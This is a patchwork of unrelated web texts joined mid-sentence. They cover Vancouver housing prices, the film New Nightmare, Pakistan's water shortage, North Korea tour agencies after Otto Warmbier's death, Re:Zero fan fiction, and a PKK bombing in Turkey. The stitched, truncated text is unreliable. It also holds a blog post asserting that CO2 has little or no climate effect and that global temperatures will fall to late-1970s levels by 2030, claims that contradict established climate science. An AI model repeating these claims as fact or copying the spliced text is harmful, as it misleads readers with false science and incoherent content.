"With unregulated, speculative global capital flowing into Metro Vancouver's real estate, we are seeing housing prices completely disconnected from local incomes. First and foremost, housing needs to be for homes, not just treated as a commodity."
Benjamin Tal, deputy chief economist at CIBC World Markets Inc., said last month that while it is unclear how extensive foreign investment is within the Vancouver region's housing market, it makes sense to implement a speculation tax, notably on overseas buyers who engage in flipping.
Data from BC Assessment from Jan. 1, 2014, to early 2016, shows a general flipping rate of 5.6 per cent of the single-family detached properties surveyed within the City of Vancouver. But some observers say that rate understates the impact on prices because in a rising market, three or four homes flipped in a neighbourhood will influence the value of similar properties listed in that area.
The mayor also suggests B.C. Premier Christy Clark's Liberal government implement a luxury tax on high-end sales.
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"I urge the provincial and federal governments to heed the warnings from the financial sector and implement clear measures to rein in the excesses of Vancouver's housing market," Mr. Robertson, who has been lobbying Ottawa to invest money to create more affordable housing, said.
There have been red flags raised recently by the banking industry about consumer debt levels. Some bankers have urged Ottawa to raise minimum requirements for down payments.
Generation Squeeze, a lobby group formed to represent the views of Canadians in their 40s and younger, complains that the federal and B.C. governments have resisted calls to move aggressively to dampen the Vancouver area's housing scene.
The B.C. government has said there are undesirable consequences to intervening, especially the potential reduction in value of properties held by existing homeowners.
Josh Gordon, an assistant professor at Simon Fraser University's School of Public Policy, is among the industry observers who argue that foreign demand is the main driver of the residential housing boom in the Vancouver region, especially an influx of buyers from China acquiring detached houses.
But Dan Morrison, president of the Real Estate Board of Greater Vancouver, said last week that the thriving economy and job growth amid limited listings were key factors behind unprecedented sales activity recently.
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Over the past three years, the median price for detached houses sold on Vancouver's west side has jumped 68 per cent to $3.53-million and surged 72 per cent to $1.56-million on the city's east side.
The benchmark price for detached properties sold in Greater Vancouver hit a record $1.51-million in May, an increase of 37 per cent from the same month in 2015.
The benchmark is a representation of the typical house in an area, excluding the most expensive transactions.
Within the Fraser Valley Real Estate Board, which includes sprawling Surrey, the benchmark price for detached homes has surged 38 per cent to $834,200 over the past year.24 reviews:
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3 ~ 4 ~ 4 5 + $4.89 $4.74 looking for more?Wes Craven's New Nightmare (also known as New Nightmare) is a 1994 American slasher film written and directed by Wes Craven, the original creator of A Nightmare on Elm Street. Although it is the seventh film in the franchise, it is not part of the series continuity, instead portraying Freddy Krueger as a fictional movie villain who invades the real world, and haunts the cast and crew responsible for his films. In the film, Freddy is depicted as closer to what Craven originally intended, being much more menacing and much less comical, with an updated attire and appearance.
The film features various people involved in the motion picture industry playing themselves, including actress Heather Langenkamp, who is compelled by events in the narrative to reprise her role as Nancy Thompson. New Nightmare features several homages to the original film such as quotes and recreations of the most famous scenes. The film received generally positive reviews, and won an International Fantasy Film Award from Fantasporto for Best Screenplay by Craven.
Plot [ edit ]
Heather Langenkamp lives in Los Angeles, California, with her husband Chase and their young son Dylan. She has become popular thanks to her role as Nancy Thompson from the A Nightmare on Elm Street film series. One night she has a nightmare that her family is attacked by a set of animated Freddy Krueger claws from an upcoming Nightmare film, where two workers are brutally killed on set. Waking up to an earthquake, she spies a cut on Chase's finger exactly like the one he had received in her dream, but she quickly dismisses the notion that it was caused by the claws.
Heather receives a call from an obsessed fan who quotes Freddy Krueger's nursery rhyme in an eerie, Freddy-like voice. This coincides with a meeting she has with New Line Cinema where she is pitched the idea to reprise her role as Nancy in a new Nightmare film (despite her character being killed on A Nightmare on Elm Street 3: Dream Warriors) which, unbeknownst to her, Chase has been working on |
of affordable and safe drinking water is manifested in Pakistan with an estimated 44 per cent of the population without access to safe drinking water, while in rural areas 90 per cent of the population lacks such access.
As one indication of the intensity of the problem, it is estimated that about 200,000 children in Pakistan die every year of diarrheal diseases alone, according to a report of Pakistan Council of Research in Water Resources (PCRWR).
Pakistan was a water rich country just a few decades ago; however, a recent World Bank Report mentioned that Pakistan is now among the 17 countries that are currently facing water shortage.
It is pertinent to mention here that the major source of drinking water in Pakistan is groundwater, so water availability is the second most serious issue.
This becomes even more daunting as estimated level of water available may decline considerably in the foreseeable future.
Talking to APP, Spokesperson PCRWR Lubna Naheed said with decrease of quantity, the quality of water is also deteriorating badly by municipal, industrial and agriculture wastes.
In Pakistan, she said, majority of population is using groundwater for drinking purpose. Contamination of this source due to unplanned urbanization and industrialization is a major problem.
She was of the view that over exploitation of the natural resources and discharge of hazardous wastes into water bodies without proper treatment is one of the major concerns. Intensity of the water quality problem is enormous.
Main ground water source of drinking water in rural ares of Pakistan is hand pump. Hand pump and motor pumps together provide 61 per cent of households with drinking water, rising to 70 per cent in rural areas. Whereas, motor pumps form an increasingly relevant part of this.
According to official data available, Punjab has the best rural water supply amongst all the provinces.
Vast majority of the rural population has either piped water or water from a hand pump or motor pump.
Only 7 per cent of rural population depends on dug wells or on rivers, canals and streams. Situation in Sindh is considerably worst as 24 per cent of the rural population is depending on such sources and where the situation is further deteriorated over the period.
Rural water supply situation in Khyber Pakhtunkhwa is also worst but the worst of all is in Balochistan.
In these two provinces, 46 and 72 per cent of the rural population, depend on water either from a dug shell, river, canal or stream. Rural water supply situation in Khyber Pakhtunkhwa is also worst but the worst of all is in Balochistan.Share this...
[Sticky post, hence different color background…new posts below]
Cooling Will Be Worse Than We Thought
By Joe Bastardi, weatherbell.com/
At Weatherbell.com, we try to show people the ‘why’ before the ‘what’. My father taught me that if you are right, then you should have the reason why first, and not excuses for being wrong later.
From where I stand, the reasons why we are right are clear. But the barrage of excuses coming from the other side is growing shriller with each passing day. And the idea that people spouting the CO2 idea are being driven from the field in spite of the overwhelming evidence against them is nonsense. When facts don’t matter, it’s not the facts that will force them to quit. This is well beyond science. Any rational person can see what is going on and can say that in the least there is enough doubt to stop the madness that demonizes those that disagree. In reality, their point has been driven from the field.
What I am doing here is giving you the ‘why’ before the ‘what’. What I’m amazed at is how people can keep seeing things that are opposite of what they claimed would happen 5 years ago, simply change the terminology and then say the things they say. That kind of mentality is one that does not accept any answer except the one they think it should be. So the fight is not on a level of a normal argument. The arguing is with people who believe they possess the “truth” and that anything short of their “truth” cannot be tolerated.
But we must smile and fight with facts. Debunk, and try not to demean.
In any case the following link will be very helpful in trying to get my point across, and I am going to use relative humidity and mixing ratios to show some of this: weather.cod.edu.pdf.
Here is why this should be simple: Energy can neither be created nor destroyed. So what is the source of energy to the Earth? Answer: the sun. If outgoing radiation equals incoming, then there is no trapping and all this hullabaloo is a moot point. Since that is the case, the game should be over.
However if you want to start confusing the issue, then you assign major importance to very minor items, control the language, and then you can control the perception.
The fact is that the Earth has been warming since the very cold period of the 1700s (Little Ice Age). It just so happened sunspots were in the tank, and it was cold. When sunspot activity increased, the Earth responded by getting warmer. Should be simple, right? The link to the oceans in the overall rise that has occurred is obvious in the graph below (from the outstanding site: Climate4you.com/.
Figure 1: CO2 concentration and global temperature.
The cumulative effect of the warm AMO and PDO added heat to the atmosphere, so temps rose from the late 1970s to around 2000. After the air absorbed the heat, it leveled off, the PDO flipped, and we started trending down.
Simply using the PDO, as seen in the chart below from Wikipedia, shows an almost direct correlation:
The warm years from the late 1970s to a bit beyond 2000, the latest downturn can be seen as well. The Pacific is much larger than the Atlantic, but the Atlantic turned warm in the mid-1990s so it is still not fully on board with the cooling. But when it does turn, chances are global temps will respond as one would expect knowing the heat capacity of the ocean is 1000 times that of the atmosphere. This chart alone should cast doubt, if not slay, the CO2 dragon being a major climate factor, if any at all. It’s simply too small to do what these people spouting this agenda-driven idea say it will.
Figure 2: Pacific Decadal Oscillation (PDO)
Again the overall rise of the past 200 years is easily explained by sunspots, which is why a lot of people are nervous about cooling. After all, if you are claiming the sun caused the warming, and you take it away, and the oceans flip to their negative phase, and a couple of volcanoes blow to boot, then there is real trouble. Hence the triple crown of cooling, which I showed on national TV 4 years ago when explaining why the cooling would commence, and by 2030 temperatures would return to levels seen in the late 1970s.
As for CO2, the rise may be due in part to a lag that FOLLOWS warming, and doesn’t cause it. Since the 1950s, the only time CO2 was correlated was when the oceans warmed. This is not brain surgery.
There is science and pseudo-science. Science comes up with an idea like the oceans are causing warming, and when they cool, the air cools. Pseudo-science says: well CO2 is adding to this, but how much? IT’S A QUESTION THAT CAN NEVER BE ANSWERED. Does the question then become: Would we already be heading into a mini ice age were it not for CO2 saving us? How do you answer that? Untold amounts of money are being thrown at a question that isn’t even something of consideration.
Now here is the problem. Temps have been dropping as you can see…not a lot, but some. But what should be very disturbing for planners and people looking forward is that the Relative Humidity is dropping. That means the wet bulb has dropped more than the temperatures.
Figure 3: 300 mb (top); 600 mb (middle) 1000 mb (bottom).
Why is the RH dropping? Think about it. A cooling Pacific, especially in the tropics, means less water vapor available to the system. So we get the initial temperature drop off because of the cooling Pacific is no longer adding to the warmth of the air – primarily in the tropics. But the RH is dropping too.
Where it’s dry, it does warm up and the large dry land areas do warm in the summer season, until such the entire earth/ocean system adjusts (the AMO flips to cold too). But the drop of RH, seen above in the chart is a big hint!
Notice how at this time, the 1000 mb is lagging. Eventually, though, the transport of moisture from the lagging low levels will cool the mid levels (increased moisture leading to temperatures falling toward the wet bulb), leading to more instability, more cloudiness. Until a balance is reached, the earth’s temps will cool. Perhaps faster!
A look at the skew T and the mixing ratio relationship to temperature really drives my point home about why this is a distortion of temps and not warming. By distortion I mean its obviously warmer in the northern areas, but THE COOLING IN THE TROPICAL AREAS, EVEN THOUGH MUCH SMALLER, CARRIES HAS A FAR GREATER IMPACT ON THE WEATHER AND CLIMATE.
A way to think about it like 2 people that weigh the same, but one may have more mass in one part of the body than the other.
An example of this can be seen when one looks at what it takes to change the mixing ratio 2g/kg at 30°C vs -20°C.
Look at how the mixing ratios increase dramatically with higher temps. In other words, suppose we lower the temps 1°C at 30°C (from Wikipedia chart).
Figure 4: Mixing ratios
Doing so, we would change the mixing ratio by about 2g/kg. Now how much of a rise at -20C would we need to offset that? At -20°C the mixing ratio is about 0.7 g/kg. To move up 2 g to 2.7 g/kg, we would have to raise the temp about 15°C.
The changes in temperatures in the tropics have a much greater overall impact on the climate than those in the Arctic. It is, if you will, easy to warm cold, dry air, but to cool warm tropical air is much harder. So if the Earth’s temperature is about steady, or falling off a bit as we saw in the graph above, and the Arctic is still warm, the compensating drop in the tropics means more to the Earth’s climate than the same movement of temps in the Arctic It becomes a predictor of what has to happen as the PDO continues cold and the AMO turns cold…the warmer northern polar regions will cool. A degree is not a degree when it comes to the climate system. A one-degree movement up and down where wet bulb temperatures are 30°C have far greater effects on the system than a 1-degree change where its near 0. That is the message behind the mixing ratio example above.
Now let me ask you this question, in terms of the climate system, which is far more important: 1) the tropical oceans and the air masses around them, or 2) what is going on in the Arctic? The answer is given above.
Again this is simply saying there is a natural large-scale thermostat called the ocean. The warmer the ocean, the more it drives the whole climate system.
The slight cooling with dropping RH is a sign of bigger things to come. This means the wet bulbs are falling faster than the actual temps. It is a predictor of future temperature drops (it’s worse than we thought). For usually when the RH falls, the temperatures rise. But in this case, temps are already falling and the RH is falling too!
At the very least I expect temperatures by 2030 to return to where they were in the late 1970s, which was the end of the last cold PDO phase and, by the way, the start of the satellite era: the most objective form of measurements.
Is the cooling worse than I thought? We are going to find out in the coming decades.
Photo Joe Bastardi: weatherbell.com/When hundreds of foreign journalists visited Pyongyang in April to cover North Korea’s latest military parade, Otto Warmbier had already been in a coma for about a year. And nobody knew.
Earlier this month, Warmbier’s parents received the first update about their son’s condition since Jan. 2016, after a State Department representative was able to meet with a North Korean diplomat in New York. He was brought home, still unconscious, on June 13 and the curtain finally fell on the family’s long ordeal six days later, when the 22-year-old died in his home state of Ohio.
University of Virginia student Warmbier was one of more than 800 Americans who visit North Korea each year, according to the New York Times, though the State Department does not keep a record of this number. A representative from China-based Koryo Tours told Korea Exposé that the majority of tourists come from China — more than 100,000 visitors per year — with about 5,000 coming from other countries.
During his travels, Warmbier allegedly made a mistake that in his home country may have ended in a small fine: He attempted to steal a propaganda poster from his hotel, according to North Korean media. But this mistake cost him his life — he was sentenced to 15 years in a labor camp, and mysteriously fell into a coma for over a year.
Travel agencies operating in North Korea are now on red alert. Young Pioneer Tours, the agency Warmbier was using, announced that it would no longer organize tours to the country for American citizens. Yet the travel industry can often downplay the dangers of visiting this “mysterious hermit kingdom.” And it’s been around for a surprisingly long time, with some agencies dating back to the early 1990s.
So who exactly are the top agencies that profit from North Korean tourism?
YOUNG PIONEER TOURS
Based in Xi’an, China, the travel service that took Warmbier to North Korea offers both group and independent tours to “destinations your mother would rather you stayed away from,” according to its website. The company is relatively new and was formed in 2002, according to its website.
The site says Young Pioneer Tours started when a group of expats in China decided to use their love for travel as a springboard into business. Destination countries include, but are not limited to: Somaliland, Iran, Afghanistan, Cuba and, of course, North Korea.
North Korean guides, which are the norm across North Korea travel services, conduct tours in a range of languages. The company has also begun various other schemes, such as a volunteer farming project in Pyongyang and a “DMZ bar” operating in China.
KORYO TOURS
Koryo Tours labels itself “the experts in travel to rather unusual destinations” and, beyond North Korea, offers trips to Russia, Turkmenistan, Tajikstan and Mongolia.
Founded in 1993, Koryo is the oldest firm on this list. It is also arguably the most successful, being the first to take more than 2,000 people to North Korea each year. The agency is based in Beijing and prides itself on its knowledge of North Korea: According to the website, its “unrivaled access, experience and passion” puts it above competitors.
After Warmbier’s death, Koryo Tours said it was discussing the matter with travel partners, as well as with liaisons in North Korea, to review policies on American citizens.
URI TOURS
Uri was founded by current CEO Andrea Lee’s father, as reported by the Chicago Tribune. The company’s website says it is the largest provider of North Korea travel in the U.S. and has been offering services for more than 15 years. Uri declined Korea Exposé’s requests for comment.
Based in New Jersey, the service solely coordinates travel to North Korea, with trips departing from both Beijing and Shanghai. Lee told the Tribune that her company tries to “push the boundaries a bit” by offering more unique, specialized tours such as ski and snowboard tours.
Uri responded to Warmbier’s death in an official statement on June 19: “Our thoughts and prayers go out to Otto Warmbier’s family and friends. This was a heart-wrenching tragedy that should have been avoided.” Uri is “reviewing” its policies for American citizens, the statement said.
JUCHE TRAVEL SERVICES
Juche Travel Services — a reference to North Korea’s eponymous ideology of self-reliance — is based southwest of London in Weybridge, England, offering tours specifically and only to North Korea. It was founded in 2011, according to its website.
Again, travellers have options ranging from cheaper group tours to more flexible, customized private trips, both of which depart from Beijing. Juche prides itself on its relationship with the Korean International Travel Agency, run by the North Korean state, which provides its tour guides.
Juche has yet to respond to Warmbier’s death and could not be reached for comment at the time of publication.
NEW KOREA TOURS
New Korea Tours prides itself on being a travel agency concentrated on North Korea — which, according to its website, is “the most unusual, bizarre and unique destination.” Another U.S.-based service, New Korea Tours organizes flights from Beijing to Pyongyang.
The company has updated its website online to express its sympathies and reflect a revised position on accepting American tourists.
“While New Korea Tours has never had any detainments or other unwanted incidents on our tours in the past, we came to a decision, until further notice, to stop accepting applications from U.S citizens for travel to the DPRK,” the statement said.
**
This decades-old industry is coming together in the wake of Otto Warmbier’s death, which does little to alleviate an already tense atmosphere surrounding North Korean travel.
On June 20, Donald Trump stated that Warmbier “should have been brought home long ago.” Lawmakers in Washington D.C. are reviving pushes for a travel ban to North Korea. Some, like John McCain, are condemning North Korea for murdering an American citizen.
The South Korean president, who is simultaneously trying to thaw relations with his northern neighbor, has also come out and criticized Pyongyang. “We cannot know for sure that North Korea killed Mr. Warmbier,” he said in an interview with CBS on June 20.
“But I believe it is quite clear that they have a heavy responsibility in the process that led to Mr. Warmbier’s death.”
Meanwhile, Young Pioneer Tours’ Facebook posts are becoming increasingly adorned with “Angry” reactions, which may be set to spur a flurry of change among competing agencies and leave the industry’s immediate future unclear.
Cover image: Pyongyang Station, North Korea (Source: Wikimedia)Argentina’s version of Dancing With the Stars should be renamed Dancing With the Porn Stars
The Argentinian version of Dancing With the Stars is called Bailando por un Sueño. Our schoolyard Spanish is a little rusty. We thought that translated to Dancing for a Dream. But after watching this clip, we can only come to the conclusion is that it actually means Dancing With The Porn Stars.
Holy friggin’ moly. If this show played in the United States it would have to be on some adults only pay-per-view cable channel.
When the Editor found this clip he showed it to Mrs Editor, no prude, who watched it with her mouth agape, repeatedly saying, “Oh, my god.”
A particularly nice touch, we thought, was the series of excited yelps coming from the show’s voyeur … uhhh …. we mean announcer.
Watch. But be prepared to be shocked at what you see.AN: Slight spoilers ahead for after the anime. Slight.
6 days later and we're already back in action. I did promise 15 more chapters, but sadly that was an unintentional lie. Due to story development I had to cut ideas for two chapter because they went against what the other chapters were trying to accomplish as an end goal, but getting rid of them allowed me to finish the rest up nice and smoothly. Sorry, I couldn't think of anything else to put in it's place that would help with the story, but I'll think of something to make up for it. Also, thank you guys/galaxy for supporting the story thus far. It's a awesome to see feedback.
Thanks to JDUBZ for being my Beta Reader! Awesome job he does, just marvelous.
Let's get this show on the road people!
Chapter 16: Sanctuary
Rem had stayed dormant for several days. Neither Oki nor Ken were able to convince her to come out of the house she resided in. The only person she would talk to was Beatrice, only because she could answer Rem's questions.
The death of Ram had hit Rem hard. Before, a small part of her wished it wasn't true, wished that what the cultist had said to her was a lie. After talking to Beatrice, and seeing her sister's grave for herself, Rem could no longer deny the fact that her dearest sister was gone forever.
Tears were falling down Rem's face, "Did she suffer?"
Beatrice paused before answering Rem's question, "No, I suppose."
Beatrice had told Rem that after the attack, Roswaal had gone back to the mansion after safely escorting Emilia to the Sanctuary. What he had found was a burning mansion, and a lifeless Ram lying in the wet grass.
Roswaal had retrieved Ram's body and brought it to the Sanctuary where she was given a proper burial in the graveyard.
"I could not read his expression, but there was no doubt that he would have preferred her to be alive, I suppose." Beatrice however, showed no emotion when describing the death of Ram. Beatrice never really had a strong relationship with either of the twins so Ram's death had not affected her.
After hearing this, Rem realized that Roswaal had not appeared once since she had gotten there. This was strange, seeing as she had already been there for two days.
"Where is Master Roswaal?"
Beatrice closed her eyes with an annoyed look, "The foolish man died from his own actions, I suppose. Choosing to take on the Witch's Trials by himself."
Rem was in her assigned bed at the time, shocked to hear that the greatest, most powerful wizard she knew was dead. Everyone Rem knew was dying and she felt there was nothing she could have done to stop it. She felt like her whole world was collapsing in on itself.
Putting her hands together, Rem brought them to her chest, whispering, "Master Roswaal…..is dead?" Beatrice said nothing, a look of annoyance still on her face. "But how...how did Master Roswaal die?"
Beatrice, who had been standing next to the bed Rem was in, moved to sit down at a nearby table to look over a book she had saved from the mansion, "His reasoning is unknown to me, but he said it was something he had to do, someone he had to meet, I suppose." Beatrice stayed silent, reading her book.
Rem grabbed fistfuls of her blanket, "Lady Beatrice that does not answer Rem's question! Who killed Master?! We must escape, if they are that powerful and evil then we are in danger!"
Still not looking up, her blue eyes trailing the words in the ancient book, Beatrice explained to Rem, "Roswaal was killed by his own foolishness. He knew what he was doing, I suppose. Yet his sharp wit didn't stop him from acting inappropriately, I suppose." Beatrice closed the book, brushing off any dust on its cover. Walking to a bookshelf, Beatrice continued, "There is a tomb here, I suppose. It is said to be the final resting place of the Witch of Greed. Her soul embodies the tomb, protecting this wretched place for reasons unclear even to me, I suppose. Her spell casts a border around this place, preventing anyone from leaving unless someone were to complete the Trials, I suppose."
Getting up, Beatrice placed the book onto a bookshelf that was next to the bedroom door. Skimming through the other books Beatrice continued, "The Trials are reserved only for those deemed worthy by the Witch of Greed, I suppose. They each embody a human's past, present, and future. If one were to complete them they would, as I stated before, release the inhabitants from this filthy place, I suppose." Beatrice made a sour face, she obviously did not enjoy being at the Sanctuary.
Finally finding a book, Beatrice removed it from between two other books, "Again, for reasons unknown to me, Roswaal had decided to take on the Trials, I suppose. However, he failed to realize that he was not worthy of the witch's company." Beatrice took the book back to the table and began to read again, "Roswaal's failure at the trials was something everyone had seen coming, I suppose. Everyone but him." The whole time Beatrice's eyes never changed from boredom, "Roswaal had been hurt badly during his time in the tomb. Suffering from an ever increasing amount of wounds and broken bones, there was nothing healing magic could do, I suppose. Roswaal had died here." Beatrice turned a page.
Rem was conflicted, not sure whether to cry or not. She felt sadness for Roswaal, but it was nothing like what she felt for her sister, not even for Subaru. Rem had known Roswaal for over a decade but she began to realize that she learned next to nothing about him. He never held a real emotional part in her life. Roswaal was her boss, that was all there was to it.
"Rem...Rem doesn't know what to say." Still grabbing onto the blanket, Rem brought it up to her face, covering her mouth and nose.
Roswaal, the wizard that had rescued Ram and her all those years ago, was dead. Rem felt she should be more sad, but felt nothing more than a bit of sadness. He had saved them and given them a home, but they hadn't chosen that home. Roswaal had taken advantage of the twins' situation when he rescued them and used his cunning words to cement them as his maids. It was something Ram or Rem never asked for, but it was something they didn't know they needed. Rem concluded that she had no reason to weep over Roswaal, but that didn't mean she felt sorrow.
Thinking back to Beatrice's explanation, still with the blanket over her face, Rem asked, "Where is Lady Emilia?" Rem had fond memories with Emilia. She was the third most important person to her, right behind Subaru and Ram. The amount of memories Rem shared with Emilia were minute, but they meant much to Rem. Talking to her about Subaru, talking about their interests, accidentally getting drunk together when Subaru had found the wine cellar in the mansion. Each one brought Emilia closer and closer to Rem's idea of a friend.
"Emilia is at the Capital as of this moment, I suppose." Beatrice, again, closed the book she was reading. She put it aside and crossed her arms, looking at Rem.
Rem was relieved that Emilia was safe, but she still had one question, "How did she escape the Sanctuary?"
Beatrice uncrossed her arms, "By passing the three Trials of course. Did I not make that clear, I suppose? Emilia was worthy of taking the Trials." Beatrice began to tail a finger into one of her drill locks, "Took her long enough, I suppose. Most of the people that once lived here left with Emilia, sick of living here. I don't blame them." She removed her finger and held her palm out towards Rem, causing Rem to widen her eyes. "Five months! It took five whole months for that dreaded woman to complete the Trials, I suppose!"
Rem was shocked but let her continue, "It wasn't meant to take five months, I suppose! We designed them to take one month if not, two, I suppose!"
Rem was confused, "We?"
Beatrice's face showed something other than boredom, as if someone threw her a surprise party, that was to say, not happy. "It is nothing, a simple mistake, I suppose."
Rem wasn't sure how someone like Beatrice could ever make a verbal mistake. "But Lady Beatrice made it sound like she knew a lot about the Trials."
"I read a lot, I suppose." Beatrice left it at that, neither spoke for a few seconds. "I suppose, it is my turn to ask the questions. You haven't enlightened me on anything for the past two days, I suppose."
Nodding, Rem silently agreed to her proposal. Shifting her feet under the blanket. "You have been gone for an unnecessary amount of time, I suppose. Why is it you return now?"
Rem removed the blanket from her face explained all about Subaru's idea to leave to Kararagi, his promise of coming back. His knowing of the fire and not telling her, her assumptions of the witch possessing Subaru to lie to her, his disappearance; she didn't leave anything out. Well, she did leave out the kissing parts, something she kept to herself with a blush.
Beatrice listened patiently. Her half asleep look never left her small face. The disappearance of Subaru didn't surprise Beatrice, she always saw him a weak willed person. Someone who cowered when cornered. While his stunt in the forest with the beasts amazed Beatrice, she only saw it as stupidity and not as bravery.
After hearing 'Subaru-kun' at least 50 times, Beatrice decided she'd had heard enough and ended up interrupting Rem mid 'Subaru-kun', "You have not answered my question of what brought you here, I suppose."
Rem took in Beatrice's words and answered, "Rem came back to Lugnica to….maybe find Subaru-kun." Rem purposefully left out the witch's cult because she felt like there was no need to mention them. "Rem did not find him, so Rem decided that if the mansion was attacked then you would have gone to the Sanctuary. So Rem wanted to ask-." Rem gasped.
How could Rem be so stupid! Rem's mind had been completely taken up by grief and sadness since she visited Ram's grave that she had completely forgotten about her reason of being here.
Subaru was somewhere out in the world being manipulated by the witch and Rem wanted to rescue him. It hurt her not knowing if Subaru was safe or not. Rem hated herself for forgetting about Subaru for two whole days, if anyone knew how to find him it would be Beatrice.
"Subaru-kun!" Rem put her hands to her head and shook it. "Rem has wasted too much time!"
Beatrice was on the verge of just leaving Rem to herself, "What are you on about, I suppose?"
Reaching out and holding Beatrice's hands in hers, the ex-maid cried pleadingly, "Lady Beatrice, Subaru-kun has gone missing and Rem doesn't know how to find him anymore. There is nothing Rem can do except ask for some assistance by Lady Beatrice!"
Beatrice recovered from the shock of having Rem grab her tiny hands. Removing her hands from Rem's, Beatrice glared at Rem for touching her. "Why should I search for that moron, I suppose? What good does that do for me? He's just another idiot among many, so one less one to worry about is best, I suppose!"
Slightly infuriated for hearing Beatrice insult her Subaru, Rem decided to calm down knowing that the little librarian would easily take her out if it came to it. Better safe than sorry.
Rem tried to thinking of an answer to please the little girl, she came up with none. Saddened that Beatrice would most likely not help her find Subaru Rem simply said, "Rem doesn't know." Her eyes stared at the floor, starting to cloud with tears. One of her hands went to grab the golden necklace she wore, her gift from Subaru.
Looking at Rem's downcast expression, the librarian felt there was no reason to be there anymore, turning to leave she said, "He wasn't one I would place hopes on, I suppose. Perhaps it's better that he ran off. Without him, your life should be much easier, I suppose." Beatrice opened the door, light flooded into the room.
A tear fell into the blanket that covered Rem. "No." Beatrice stopped. "You don't know Subaru-kun like I do." Beatrice looked over at Rem to see tears were falling down her cheeks. Rem had an angry expression, her hands were gripping the blanket hard again. "Subaru-kun would never run away from Rem and abandon her..…Subaru-kun is Rem's hero and Rem will not let Lady Beatrice call him such vile things."
Saying nothing, Beatrice only stared at Rem. While Rem glared with anger, Beatrice's eyes responded calmly, unfazed. For once, Beatrice finally saw the hurt in Rem's eyes.
After what seemed like an eternity, Beatrice was the first to blink. Looking away, Beatrice stepped out the door. Holding her hand out to stop the door from closing, Beatrice said, without looking at Rem, "I no longer have access to the Forbidden Library, I suppose. Without it, my magic will act weaker. It will take a few hours for me to track down Subaru, but in the end I will have his location for you, I suppose." With that Beatrice left, the door closing behind her, cutting off any light the door let in.
Rem was left in awe. Her eyes had softened, extinguishing any anger she once had in them. Rem hadn't expected Beatrice to change her mind so quickly, maybe she wasn't such a heartless spirit after all. For all the years Rem knew Beatrice, the girl had never shown any love for anyone except Puck, Emilia's cat spirit. To Beatrice, it seemed everyone else was just an obstacle she had to go through everyday. Every conversation was one Beatrice couldn't wait to escape and every meal time Beatrice would either not come or come, but not talk. At first, Rem had tried to get Beatrice to warm up, but she soon discovered that Beatrice was one to never be bothered with unless you wanted to be blasted by her magic.
With nothing else to do, Rem got out of bed to explore the village. Maybe now she can enjoy it, finally able to put her grief for her sister to rest.
.
.
.
Rem walked the streets alone. Earlier she had finally gone to Ken and Oki to talk. Of course she didn't want to talk about Ram, so they left that off the table. Rem missed her time spent with the two and regretted ignoring them.
The abandoned buildings stood like shells, nothing was left in them since the inhabitants left when the magical barrier fell. A few hours had already passed, Rem was now on her way to see Beatrice in hopes of receiving the location of Subaru. Deep down, she knew that there was always a small chance of something going wrong and Beatrice would be unable to locate Subaru, but right now Beatrice was the only person capable of telling Rem where he was. If Beatrice couldn't find him Rem wouldn't know what to do.
.
.
.
"He was untraceable, I suppose." Beatrice had broken the news to Rem, stating that Subaru was simply nowhere to be found. She tried anything and everything she had within her power to find him, but to no avail. "Subaru is simply gone, as if he never existed, I suppose. There is nothing else I can do or think of doing."
Rem was broken, her chances of ever seeing Subaru again were gone. There was nothing she could do, nothing she was able to do. Subaru had disappeared from anyone's vision except the witch's. Beatrice kept talking, but nothing reached Rem's ears.
Rem slowly made her way back to her assigned house, dragging her feet the entire way. Her will to live was slowly crumbling to nothing, but a small part of her wanted to live, to be happy. It's what Subaru would have wanted and Rem wasn't one to go against what Subaru wanted.
Distraught, Rem made it to the house and laid in her bed. She stared at the ceiling for almost an hour wondering what her life would be without Subaru. She would have nothing to look forward to seeing every morning, nothing to hug and say goodbye to when they left for work, nothing to love when they spoiled her with kisses, nothing to say goodnight to when she laid in bed next to them, nothing.
Deep in her own thoughts, Rem slowly succumbed to the darkness and fell asleep.
.
.
.
Bzzz Bzzz Bzzz Bzzz Bzzz
"Huh?!" The sudden vibration of the metia jolted Rem awake. Rubbing the sleep from her eyes, Rem got out of bed and relit a candle that had gone out before on her nightstand. Looking outside Rem noticed the sun was just about to hit the horizon.
Rem grabbed her metia that was next to the candle, still vibrating. Rem read the call ID.
Call from:
Oki
"Hmmmm…" Rem ignored the call and placed it back on the nightstand, not really feeling ready to talk to other people. Falling back into her bed and enjoying the feel of her pillow, Rem contemplated whether to go back to sleep or just leave the Sanctuary now and go home.
.
.
.
.
Bzzz Bzzz Bzzz Bzzz
Not even a minute had gone by before the metia started to vibrate again. Scoffing, Rem turned her head towards the metia and wished Oki would just get the idea and leave her alone. She instantly got out of bed again and grabbed her metia, ready to tell Oki off.
Rem glanced at the caller ID, her heart skipped a beat. Without wasting another second, Rem flipped open the metia and answered it.
Rem finally had something to look forward to.
Call from:
Subaru
Hope never abandons you, you abandon it."
-George Weinberg
AN: Whoa! What an ending, Brah! Will Rem see Subaru or will she just see static? Find out on the next episode of Dragon Ball Z! JK, never watched DBZ.
See ya'll in the next chapter!Plastic isn’t food, but fish seem to eat it anyway—to the confusion of many researchers. As the 9.5 billion tons of plastic the world has produced since the 1950s makes its way into the world’s rivers, lakes, and oceans, the animal consumption of such waste has become a big problem. Yes, a lot of that plastic is tiny—roughly the size of fish food—so it’s not a stretch to think that fish are simply confusing these morsels with plankton. But the fish that are apparently attracted to plastic are usually pick |
detonated by remote control ten seconds after it was parked behind the barriers of the checkpoint.A number of firefighters and health personnel were immediately dispatched to the area as buildings near the scene were damaged and a fire broke out in the aftermath of the attack.The AKP provincial headquarters and a hotel near the scene were greatly damaged by the explosion, while the windows of nearby houses and storefronts were shattered in the blast.Security forces’ efforts to apprehend the PKK militants responsible for the attack were ongoing.In addition, Turkey’s Radio and Television Supreme Council (RTÜK) issued a temporary gag order on the attack.Meanwhile, the attack drew condemnations from the ruling AKP government as well as many main opposition Republican People’s Party (CHP) deputies.Interior Minister Süleyman Soylu said the attack could not achieve its ultimate goal due to precautions taken at police checkpoints with barricades.Deputy Prime Minister Nurettin Canlikli said that with the attack the PKK had turned to directly targeting civilians and innocent people, a sign showing that they had begun to falter.Speaking in the southeastern province of Diyarbakır, AKP deputy chairman Mehdi Eker said: “We all have to say ‘stop’ to these traitors with our stance, statements, and prayers [against terrorism].”Development Minister Lütfi Elvan criticized that the attack came on the first day of Eid al-Adha.In the opposition ranks, CHP deputy head and Ordu deputy Seyit Torun condemned the attack, saying it was extremely saddening that such attack was staged during an Islamic holiday.The party’s deputy head, Öztürk Yılmaz, said such attacks would never be accepted by society, urging for calm and caution against provocations.Early on Sept. 12, two PKK militants, who were in preparation for an attack, were killed during clashes with special operations 